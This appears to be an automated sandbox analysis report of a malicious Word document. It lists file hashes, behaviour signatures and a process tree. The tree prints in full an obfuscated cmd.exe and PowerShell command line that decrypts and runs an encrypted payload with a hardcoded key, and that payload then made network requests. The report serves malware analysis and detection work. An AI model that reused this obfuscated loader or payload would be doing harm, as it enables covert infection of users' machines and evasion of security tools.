Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    25-05-2024 09:19

General

  • Target

    71839333572e0e0d8c787401e43f94ee_JaffaCakes118.doc

  • Size

    235KB

  • MD5

    71839333572e0e0d8c787401e43f94ee

  • SHA1

    56a597092b8166415c3bf1577f93c2aaeb37eb1d

  • SHA256

    1f5d5052d3adcfc9b05f321306b52ea74d91423f5320cc8007e7bbf65dc703f2

  • SHA512

    c67b6d7bdab3b6e44f6caa3f669525c3ed6ff3ff4715f0009f852827ae3a4bbba840afcb039430c05843ddce2890fbdecf5a15d14626b858044f902562da3da2

  • SSDEEP

    3072:gpLwpCgILInj2ZEiNhfWqqmeOxxOlJeWgH0iwu2gpGd6Y5xv3eCP9:g+ALujME9qqMbOLeWgHd6gEdzB3ey9

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\71839333572e0e0d8c787401e43f94ee_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3040
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" YuamonOi jSZzMRHavLtXztFW LOkPwNDvHdPq & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %PhArSviWubpnXvm%=nLczaqWVnkd&&set %OknoPIzhzEpRu%=p&&set %WAzbtrwnkjtBJO%=o^w&&set %bHFajRAcaTmvjsC%=RIivMLiQzc&&set %jIjWjVo%=!%OknoPIzhzEpRu%!&&set %WvZLiEiSDOoAFVX%=LKAPwHXTF&&set %ifcfbwofzuLV%=e^r&&set %DjMlmOztVQ%=!%WAzbtrwnkjtBJO%!&&set %fYGHjTPjBXvJ%=s&&set %NJoQPZpbHvECPoi%=NpnhQCIXt&&set %bAGuNzkzQZMlT%=he&&set %hVzhhVMHMamSqz%=ll&&!%jIjWjVo%!!%DjMlmOztVQ%!!%ifcfbwofzuLV%!!%fYGHjTPjBXvJ%!!%bAGuNzkzQZMlT%!!%hVzhhVMHMamSqz%! " & ( $SHeLLid[1]+$ShellId[13]+'x') (( [runTIME.iNteRopSeRvIcEs.MArSHAL]::([RuNTiMe.inTERoPseRviCES.MarshAL].gETmeMbeRs()[5].NAme).iNvOkE( [ruNtIMe.INTErOPSeRVIcES.MARSHAl]::SEcURestriNgtobsTR( $('76492d1116743f0423413b16050a5345MgB8ADEAYgBzADIAVAA5AHcAegBaAHoAZQBzAEYAagBpAGwASgBRAE0AeQA4AEEAPQA9AHwANAA0ADUAOQBlADUANAA3ADcAOQA3AGMAMgAzAGUAOAA2AGUAZQA5ADIAMABhAGIAMwAxADYANgA5ADAAYwA3ADgAZQAxADkAZAA3AGUAZQBmADAAZgA4AGQAMwA3AGIAZQAzAGYAZgA4ADkAOQBjADYAMABmADEAOQA4AGMANwA2ADIAYQBkADQAMgAzAGIAMAAxADMAMQA4ADgAYwBlAGQAZgA1ADUANwAzADkAZAA4ADQAZAAwADgAMABlADYAZQBmADMAYgAzADAAMgA4ADYAMAAxADkAYwAxADAAMwAxADkANAA0ADEAZQA3ADUANAAwAGMANAA4ADYAZgA5ADYAYQA5AGEAOAAxAGIANAA2AGUAMgAyAGEAMAA1AGQAZgA4AGMAOAA3AGEAZQBiAGQAOQA0AGIAZgA1ADAAYgAxAGIAYQBkAGUAMgAzADEAMgBjAGIAMwA0ADIAZAA0ADYAMgBiAGIAMgA0AGYAOQBhAGQAMQBiADMAOAA4ADcANgAzAGYAYgBmAGUAZAA1AGIAOAA5ADIAMwBlAGMANAAzADIAOAA4ADcAMwBlADIANQAwADkANgBlADAAMAA3ADcAMgAwAGQANgBlADUAMwAxADcAZgA3AGEANwA0AGEAMABmADMAMwA1ADQAZgBlAGQANQA4AGYAOQAzADEAMAA4ADMANwA3ADEANQBkAGMAOAAzADgAZgAwADYAZAA0AGUAMQA4ADAAMwBkADcAZgA1AGUAOAAyAGQAZQAxADkAYwAxADYAZAAxADkAMgBiADcAMAA1ADIANgAyAGUANAA3AGMAYgAxADQANgA0ADMANQBlADkAYQBmAGYAMwA1AGIANgA1AGQAZQBiADEAYwA5AGEAZAAzAGMAMwA2ADIAMAA3AGUAYQAyAGQAMwBlADQAMQBjAGIANAA0AGMAMgA4AGUAOABhADQANgBhADAAZgAyAGIAYQAxAGUAZQBmADgANwBmADYAMAA0ADMAMQA4ADIANwAzADMAZgA0AGQAZgA2ADgAZQAzADQAMAA2ADIAYgBiAGYAYQA5AGYAMAA3AGEAZABhADcAZQAwADkANwAxADAAMABiAGMAYwA1AGEAOABkAGYAYwA3ADcANgA3ADAANwA2ADcAZQA0ADQAYQA3AGYANgAwADYAYgA4AGIAMwA5ADcAYwBjAGEAOQBkADMAMwBmAGYAYwBkAGQANgA0ADEAOABlAGEAYQBkADAAYQBlADIANgA3ADQAYwAzAGIAYQAwADAAMgA1AGMAYgAzAGEAZQAzAGIAMgAyADEAZgBhAGEANgA0AGQAMwBjADUAMQBiADkAZQBiADcAZABiADMAZAA3AGUAZQAzADUANgA1AGIAYgAyADIAYgAyAGQAZAA2ADkAZAA2ADkANQAwADEAYgA1ADYAMwAzAGUAMwA1ADQAZgAzAGEANABmADQAZgBkAGQAYgAwAGMAOQBlAGIAOQA1AGUAMwA0AGUAYQBkAGEANwBiAGEAMwBlAGUAYQA5ADYANQAwADkANQAxADMAMgAzADIANgBiADcAZABiAGYAMAA2AGIAZgA0ADMAZQA4ADUANgAyAGMANQBjADkAMwBkAGEAOQAzADgAYwAwADcANAAxADMANABjADQAOAAwADIANwA2AGIAOQAxAGMAYgA1ADcAYgBlADQAMQBmAGUAOQAzAGEAMQA1ADYANgA3AGYAMABlADkAMgBlADkANgAwAGEAOAAyAGYAMAA4ADAAZABiADkANAAzAGEANwBlAGQANwBiADgAZgA4AGIAOQBiAGIAZgBiAGQAZQA4AGYANQA1AGQAZABiAGQAZAA0ADkAOAAwADQANAAxAGQAOABhADgANQA2ADYAYgAwAGIAMgBjAGYAMQAxAGYAMQBjADMAYwA2AGUANQBjAGMAZAA0AGUAZQA4ADMAZQAzADUAOAA4ADIAOQA1ADMAMwBjAGUAMQA0ADMAMAA3AGQAYQA3ADEAOABlAGUAOQBjADUANgA3ADMANwBkADUAOAAyAGYAZAA0ADEAYgA1ADAANgAxADUANQA4AGEAZAA3AGMANwAyADYAYQBiADUANAA1AGIANwBmADQAZABhADgAMgBmAGYAMwA2ADIAMgBmADUAMQAwADMAOQA4AGYAOABjAGQAZAAwADMAYgBiADUAMAA2AGQAYgAzAGUAOQA4AGEAZQA1ADQANwAzAGIAOAAyADQAOAA2ADYAYgA4AGMANQA1ADAANgBiAGYANwBmADQAZAAzADcANABkADUANABiAGQAZQA1ADEAYQA2ADAAMgAwADcAZQBkADcAYQAyADUAMABmADcAMQA4ADIAMgAyADIAYgA0ADIAOQAzADgAMgBhADMAYwA0AGUAOAA5ADkAYQAyADEANwA0ADUAMQAzAGEAMQAxADUANwA5AGYANwAwADQAYQA0ADIAMgA1ADkAYQA1ADYAMABlAGIAZQBiADIAMwBiADcAOQAxAGYANgA2ADUANABiAGEANQBlADkAMQA1ADAAOQA1ADYAZAAzAGUAYgA5ADQAMgA2ADkAOQBlADcAOQAyAGYAOQA1ADYAOAAyADUAOQAwAGEAYgBmADMAOAAzAGMANgBhADUANgAwAGIAMQA0AGIANgAwAGQAMQBmADUAOQAzAGYAMQBmADMAYQA5ADAAZgA2AGUAYQAzADUANAA2ADgANQBkADYAYgA0AGQANAA5AGUAMgA3ADEAYgBhADQAZQAwADMAOQBmADYAZgBmAGMAZQAxADEAMAAxADYAOQA4ADkAYQBiAGQAYwA1ADIAMgA2ADMAMwAwADgANwBhADIANAA4ADQAZAAyAGQAZgA1ADYAZQAzAGMAMwA3ADYAYgA5ADYANQA2AGQAZABmADgAZABkADEAMAA3ADkAZQBkADIANwA1AGIANABmAGIAYwBhADMAZgA5ADUAOABhADkANgA0ADQANABhAGEAMAAzAGYAYgBlAGYAOQAzADYAYQBhADAAMAA3ADQANwAyADkAMgAwAGIAOQA5ADgANQA3ADYAZgA5ADcAYwAxADkANQAzADYAZAA1AGUAOAAzADgAMABmADAAZgAxADYANwAxADYAZAAyADMAMAAyAGYAZgA2ADYAOAA1AGQAOAA1ADQAZgAzADAAOAAyADMAMQBiAGEAMwA1AGMAMQBmADUAYwAyADkANgBlADQANQBjADEAYwBlADgANQA0ADMAZAA1ADEAOABiADcAYwAwAGYAMQAyAGYANgA0AGMAOABkADgANAA5ADkAOAAzAGYAMAA2ADkAOQBlAGEAMwBjADMAZQBlAGUANAAyADcANAA2ADMAZABmADkAZABlADkAMQA2ADkAOAA3ADUAYwBkADMANAA2AGUAYwA2ADYAZgBkAGQAMABiADMAMgBmAGYANgAyAGUAMwA5ADUAYQBhADUAOQBjADgANABhAGIAOQAyAGMAOABkAGIAOAA2ADIAMQA3ADgAMwAyAGUANQBlADkAMQA5ADUAZQBlADcAYwBlADMAMwA5ADUANABkADUAOQBmADcAMAA2ADkANQA4AGYAMQBhADkANgA0AGEAYQBlAGUANQAwADMANgA5ADUANABmADYAYwBiADIANAA4AGUANwBjAGIAMgA3AGIAZgAxADAAMAAxADcAMgBkAGIAMAAxADQAYgA0ADkAYQAyAGYAMwA1ADkANwBmAGYAZABjADQAYgA5AGUAYwBiADYANQBmAGMAMgBlADIAMQA5AGEAZAA0ADIANAA4ADAAZQA5ADAAYwA3ADAAOQA1AGIAMgAyADIAMQAyADUAYgAyAGUAMwAzADgAYQA2AGIAMAA3ADEAYwA2ADgAOAAwAGQAOAA0AGUAMABiADYAMAAzADcANgAzADIAZgA1ADEANgA4AGUAZABiADcANQBlAGMAMAAwAGMAMgBiAGQANgAwADgAOQAzADAAYwBjADAAMwAzADUAOABjADUANwBjAGQAZQAzAGUAMABlAGQANQA3AGMAZQAzAGQAOQA0ADIAZgBlADMANQBjADQAYgBlADYAMABkADEANABmADAAZAA1AGUANQAyAGYAMwA5ADgANwAxADUAZgA0AGIANQA5AGEAMAA2AGEAMABiADQAYgBkAGIANAA5AGIAMAA5ADQANQA5ADgAZQA0ADMANAA3AGYANgBlAGQAOQBlADEAMgA0ADYAMQBjAGEAMgA5ADYAZABkADcAYwA3ADgAOQBkADcANAAwADIAZAAxADcANQBmAGYANQAzADAAOQBlADcAZQA2ADYAZQBmADQAZAA5ADMAOAA2ADkANQA3ADUAMwBmADEAOAA5ADMANgA2ADcAZQBhADgAMAA0ADYAMgBmAGYAZgBiADkAMgAwAGUAMABmADgAMQA2ADcAYwA5AGIAMwBhAGQAZAA0AGMAZAA3AGIANwBmADMAOQBjADIAYwBmADUAZQBkAGIAMAAyAGQAOQA4AGQANQA0AGEANwBmADEAMwBhADkAZQAzADMAYQAzAGUANQBiAGIAYgA5ADMAYwBiAGUAZQA0AGEAYwBlADkAZQBlAGUAOQA0AGEAZABlADYAYQA3AGUAOAA2AGYANwA0AGYAMQA4ADkANABjADIAMwBhAGUAOQBjADcAMwA5ADUAZgA0ADUAMQAzAGUAMwA3AGYAZQBiADkANgBjADcAYgA4ADgAMgA2ADUAZQBkAGMAZAA0ADIAYQA5ADAANQBjADkAYwBlAGEAMwA3AGEAMgBlADcAZABkAGUAYQBiADcANABjADgAOQAwAGEAMQA5ADMANABkADIAZAA3ADkAYgA4ADQANgBhADcAOAAyADgAZgA1ADUAOQAzAGUAMQAyADYAYwBmADcAOAAzAGEANQBkADYAZABmADAAOABlADUAZQA1ADMAOABlAGEANwBkAGUAZAA3ADYAMABjAGIAOABiAGUAMAAwADIAYQA3ADAAMAA0AGQAOQAxAGQAZgBiAGEANQA0ADEAOAA2ADgAZgA5ADcAZQAzADEAZAA3ADcAYQAwADQAYQBjAGQANAAwADAAZQAzAGYAMQAyADIANwAxADcAYwBjADIAMABkADEA' |coNvertTO-SECUreSTrInG -K 25,13,230,59,145,218,62,251,194,208,12,55,231,211,115,237,126,14,147,94,171,140,209,12,80,6,194,249,24,42,99,59) )) ) )
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell " & ( $SHeLLid[1]+$ShellId[13]+'x') (( [runTIME.iNteRopSeRvIcEs.MArSHAL]::([RuNTiMe.inTERoPseRviCES.MarshAL].gETmeMbeRs()[5].NAme).iNvOkE( [ruNtIMe.INTErOPSeRVIcES.MARSHAl]::SEcURestriNgtobsTR( $('76492d1116743f0423413b16050a5345MgB8ADEAYgBzADIAVAA5AHcAegBaAHoAZQBzAEYAagBpAGwASgBRAE0AeQA4AEEAPQA9AHwANAA0ADUAOQBlADUANAA3ADcAOQA3AGMAMgAzAGUAOAA2AGUAZQA5ADIAMABhAGIAMwAxADYANgA5ADAAYwA3ADgAZQAxADkAZAA3AGUAZQBmADAAZgA4AGQAMwA3AGIAZQAzAGYAZgA4ADkAOQBjADYAMABmADEAOQA4AGMANwA2ADIAYQBkADQAMgAzAGIAMAAxADMAMQA4ADgAYwBlAGQAZgA1ADUANwAzADkAZAA4ADQAZAAwADgAMABlADYAZQBmADMAYgAzADAAMgA4ADYAMAAxADkAYwAxADAAMwAxADkANAA0ADEAZQA3ADUANAAwAGMANAA4ADYAZgA5ADYAYQA5AGEAOAAxAGIANAA2AGUAMgAyAGEAMAA1AGQAZgA4AGMAOAA3AGEAZQBiAGQAOQA0AGIAZgA1ADAAYgAxAGIAYQBkAGUAMgAzADEAMgBjAGIAMwA0ADIAZAA0ADYAMgBiAGIAMgA0AGYAOQBhAGQAMQBiADMAOAA4ADcANgAzAGYAYgBmAGUAZAA1AGIAOAA5ADIAMwBlAGMANAAzADIAOAA4ADcAMwBlADIANQAwADkANgBlADAAMAA3ADcAMgAwAGQANgBlADUAMwAxADcAZgA3AGEANwA0AGEAMABmADMAMwA1ADQAZgBlAGQANQA4AGYAOQAzADEAMAA4ADMANwA3ADEANQBkAGMAOAAzADgAZgAwADYAZAA0AGUAMQA4ADAAMwBkADcAZgA1AGUAOAAyAGQAZQAxADkAYwAxADYAZAAxADkAMgBiADcAMAA1ADIANgAyAGUANAA3AGMAYgAxADQANgA0ADMANQBlADkAYQBmAGYAMwA1AGIANgA1AGQAZQBiADEAYwA5AGEAZAAzAGMAMwA2ADIAMAA3AGUAYQAyAGQAMwBlADQAMQBjAGIANAA0AGMAMgA4AGUAOABhADQANgBhADAAZgAyAGIAYQAxAGUAZQBmADgANwBmADYAMAA0ADMAMQA4ADIANwAzADMAZgA0AGQAZgA2ADgAZQAzADQAMAA2ADIAYgBiAGYAYQA5AGYAMAA3AGEAZABhADcAZQAwADkANwAxADAAMABiAGMAYwA1AGEAOABkAGYAYwA3ADcANgA3ADAANwA2ADcAZQA0ADQAYQA3AGYANgAwADYAYgA4AGIAMwA5ADcAYwBjAGEAOQBkADMAMwBmAGYAYwBkAGQANgA0ADEAOABlAGEAYQBkADAAYQBlADIANgA3ADQAYwAzAGIAYQAwADAAMgA1AGMAYgAzAGEAZQAzAGIAMgAyADEAZgBhAGEANgA0AGQAMwBjADUAMQBiADkAZQBiADcAZABiADMAZAA3AGUAZQAzADUANgA1AGIAYgAyADIAYgAyAGQAZAA2ADkAZAA2ADkANQAwADEAYgA1ADYAMwAzAGUAMwA1ADQAZgAzAGEANABmADQAZgBkAGQAYgAwAGMAOQBlAGIAOQA1AGUAMwA0AGUAYQBkAGEANwBiAGEAMwBlAGUAYQA5ADYANQAwADkANQAxADMAMgAzADIANgBiADcAZABiAGYAMAA2AGIAZgA0ADMAZQA4ADUANgAyAGMANQBjADkAMwBkAGEAOQAzADgAYwAwADcANAAxADMANABjADQAOAAwADIANwA2AGIAOQAxAGMAYgA1ADcAYgBlADQAMQBmAGUAOQAzAGEAMQA1ADYANgA3AGYAMABlADkAMgBlADkANgAwAGEAOAAyAGYAMAA4ADAAZABiADkANAAzAGEANwBlAGQANwBiADgAZgA4AGIAOQBiAGIAZgBiAGQAZQA4AGYANQA1AGQAZABiAGQAZAA0ADkAOAAwADQANAAxAGQAOABhADgANQA2ADYAYgAwAGIAMgBjAGYAMQAxAGYAMQBjADMAYwA2AGUANQBjAGMAZAA0AGUAZQA4ADMAZQAzADUAOAA4ADIAOQA1ADMAMwBjAGUAMQA0ADMAMAA3AGQAYQA3ADEAOABlAGUAOQBjADUANgA3ADMANwBkADUAOAAyAGYAZAA0ADEAYgA1ADAANgAxADUANQA4AGEAZAA3AGMANwAyADYAYQBiADUANAA1AGIANwBmADQAZABhADgAMgBmAGYAMwA2ADIAMgBmADUAMQAwADMAOQA4AGYAOABjAGQAZAAwADMAYgBiADUAMAA2AGQAYgAzAGUAOQA4AGEAZQA1ADQANwAzAGIAOAAyADQAOAA2ADYAYgA4AGMANQA1ADAANgBiAGYANwBmADQAZAAzADcANABkADUANABiAGQAZQA1ADEAYQA2ADAAMgAwADcAZQBkADcAYQAyADUAMABmADcAMQA4ADIAMgAyADIAYgA0ADIAOQAzADgAMgBhADMAYwA0AGUAOAA5ADkAYQAyADEANwA0ADUAMQAzAGEAMQAxADUANwA5AGYANwAwADQAYQA0ADIAMgA1ADkAYQA1ADYAMABlAGIAZQBiADIAMwBiADcAOQAxAGYANgA2ADUANABiAGEANQBlADkAMQA1ADAAOQA1ADYAZAAzAGUAYgA5ADQAMgA2ADkAOQBlADcAOQAyAGYAOQA1ADYAOAAyADUAOQAwAGEAYgBmADMAOAAzAGMANgBhADUANgAwAGIAMQA0AGIANgAwAGQAMQBmADUAOQAzAGYAMQBmADMAYQA5ADAAZgA2AGUAYQAzADUANAA2ADgANQBkADYAYgA0AGQANAA5AGUAMgA3ADEAYgBhADQAZQAwADMAOQBmADYAZgBmAGMAZQAxADEAMAAxADYAOQA4ADkAYQBiAGQAYwA1ADIAMgA2ADMAMwAwADgANwBhADIANAA4ADQAZAAyAGQAZgA1ADYAZQAzAGMAMwA3ADYAYgA5ADYANQA2AGQAZABmADgAZABkADEAMAA3ADkAZQBkADIANwA1AGIANABmAGIAYwBhADMAZgA5ADUAOABhADkANgA0ADQANABhAGEAMAAzAGYAYgBlAGYAOQAzADYAYQBhADAAMAA3ADQANwAyADkAMgAwAGIAOQA5ADgANQA3ADYAZgA5ADcAYwAxADkANQAzADYAZAA1AGUAOAAzADgAMABmADAAZgAxADYANwAxADYAZAAyADMAMAAyAGYAZgA2ADYAOAA1AGQAOAA1ADQAZgAzADAAOAAyADMAMQBiAGEAMwA1AGMAMQBmADUAYwAyADkANgBlADQANQBjADEAYwBlADgANQA0ADMAZAA1ADEAOABiADcAYwAwAGYAMQAyAGYANgA0AGMAOABkADgANAA5ADkAOAAzAGYAMAA2ADkAOQBlAGEAMwBjADMAZQBlAGUANAAyADcANAA2ADMAZABmADkAZABlADkAMQA2ADkAOAA3ADUAYwBkADMANAA2AGUAYwA2ADYAZgBkAGQAMABiADMAMgBmAGYANgAyAGUAMwA5ADUAYQBhADUAOQBjADgANABhAGIAOQAyAGMAOABkAGIAOAA2ADIAMQA3ADgAMwAyAGUANQBlADkAMQA5ADUAZQBlADcAYwBlADMAMwA5ADUANABkADUAOQBmADcAMAA2ADkANQA4AGYAMQBhADkANgA0AGEAYQBlAGUANQAwADMANgA5ADUANABmADYAYwBiADIANAA4AGUANwBjAGIAMgA3AGIAZgAxADAAMAAxADcAMgBkAGIAMAAxADQAYgA0ADkAYQAyAGYAMwA1ADkANwBmAGYAZABjADQAYgA5AGUAYwBiADYANQBmAGMAMgBlADIAMQA5AGEAZAA0ADIANAA4ADAAZQA5ADAAYwA3ADAAOQA1AGIAMgAyADIAMQAyADUAYgAyAGUAMwAzADgAYQA2AGIAMAA3ADEAYwA2ADgAOAAwAGQAOAA0AGUAMABiADYAMAAzADcANgAzADIAZgA1ADEANgA4AGUAZABiADcANQBlAGMAMAAwAGMAMgBiAGQANgAwADgAOQAzADAAYwBjADAAMwAzADUAOABjADUANwBjAGQAZQAzAGUAMABlAGQANQA3AGMAZQAzAGQAOQA0ADIAZgBlADMANQBjADQAYgBlADYAMABkADEANABmADAAZAA1AGUANQAyAGYAMwA5ADgANwAxADUAZgA0AGIANQA5AGEAMAA2AGEAMABiADQAYgBkAGIANAA5AGIAMAA5ADQANQA5ADgAZQA0ADMANAA3AGYANgBlAGQAOQBlADEAMgA0ADYAMQBjAGEAMgA5ADYAZABkADcAYwA3ADgAOQBkADcANAAwADIAZAAxADcANQBmAGYANQAzADAAOQBlADcAZQA2ADYAZQBmADQAZAA5ADMAOAA2ADkANQA3ADUAMwBmADEAOAA5ADMANgA2ADcAZQBhADgAMAA0ADYAMgBmAGYAZgBiADkAMgAwAGUAMABmADgAMQA2ADcAYwA5AGIAMwBhAGQAZAA0AGMAZAA3AGIANwBmADMAOQBjADIAYwBmADUAZQBkAGIAMAAyAGQAOQA4AGQANQA0AGEANwBmADEAMwBhADkAZQAzADMAYQAzAGUANQBiAGIAYgA5ADMAYwBiAGUAZQA0AGEAYwBlADkAZQBlAGUAOQA0AGEAZABlADYAYQA3AGUAOAA2AGYANwA0AGYAMQA4ADkANABjADIAMwBhAGUAOQBjADcAMwA5ADUAZgA0ADUAMQAzAGUAMwA3AGYAZQBiADkANgBjADcAYgA4ADgAMgA2ADUAZQBkAGMAZAA0ADIAYQA5ADAANQBjADkAYwBlAGEAMwA3AGEAMgBlADcAZABkAGUAYQBiADcANABjADgAOQAwAGEAMQA5ADMANABkADIAZAA3ADkAYgA4ADQANgBhADcAOAAyADgAZgA1ADUAOQAzAGUAMQAyADYAYwBmADcAOAAzAGEANQBkADYAZABmADAAOABlADUAZQA1ADMAOABlAGEANwBkAGUAZAA3ADYAMABjAGIAOABiAGUAMAAwADIAYQA3ADAAMAA0AGQAOQAxAGQAZgBiAGEANQA0ADEAOAA2ADgAZgA5ADcAZQAzADEAZAA3ADcAYQAwADQAYQBjAGQANAAwADAAZQAzAGYAMQAyADIANwAxADcAYwBjADIAMABkADEA' |coNvertTO-SECUreSTrInG -K 25,13,230,59,145,218,62,251,194,208,12,55,231,211,115,237,126,14,147,94,171,140,209,12,80,6,194,249,24,42,99,59) )) ) )
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2732

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      93f5901fe65824c1637878f94fe5df49

      SHA1

      c7ddf20b2e574c4cbdf7832ea38f4f77435c77da

      SHA256

      941b56d0141a0e7ea462d32295e7e3feb30d5db5460a25b03ffef8d4aa9e2f1f

      SHA512

      28e5c19f891701536d37a361e6f9c9d1afb15d391ada7919759e3a82d6016a9b1189d8236cb7e28d28fcaa85e0d3ee91847b41b14cb01ecc2a0df20d4baedfee

    • memory/1612-27-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-9-0x00000000061B0000-0x00000000062B0000-memory.dmp

      Filesize

      1024KB

    • memory/1612-26-0x00000000061B0000-0x00000000062B0000-memory.dmp

      Filesize

      1024KB

    • memory/1612-18-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-25-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-11-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-12-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-20-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-28-0x00000000061B0000-0x00000000062B0000-memory.dmp

      Filesize

      1024KB

    • memory/1612-0-0x000000002F5B1000-0x000000002F5B2000-memory.dmp

      Filesize

      4KB

    • memory/1612-10-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-2-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB

    • memory/1612-8-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-16-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-13-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-36-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB

    • memory/1612-37-0x00000000061B0000-0x00000000062B0000-memory.dmp

      Filesize

      1024KB

    • memory/1612-38-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/1612-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1612-53-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1612-54-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB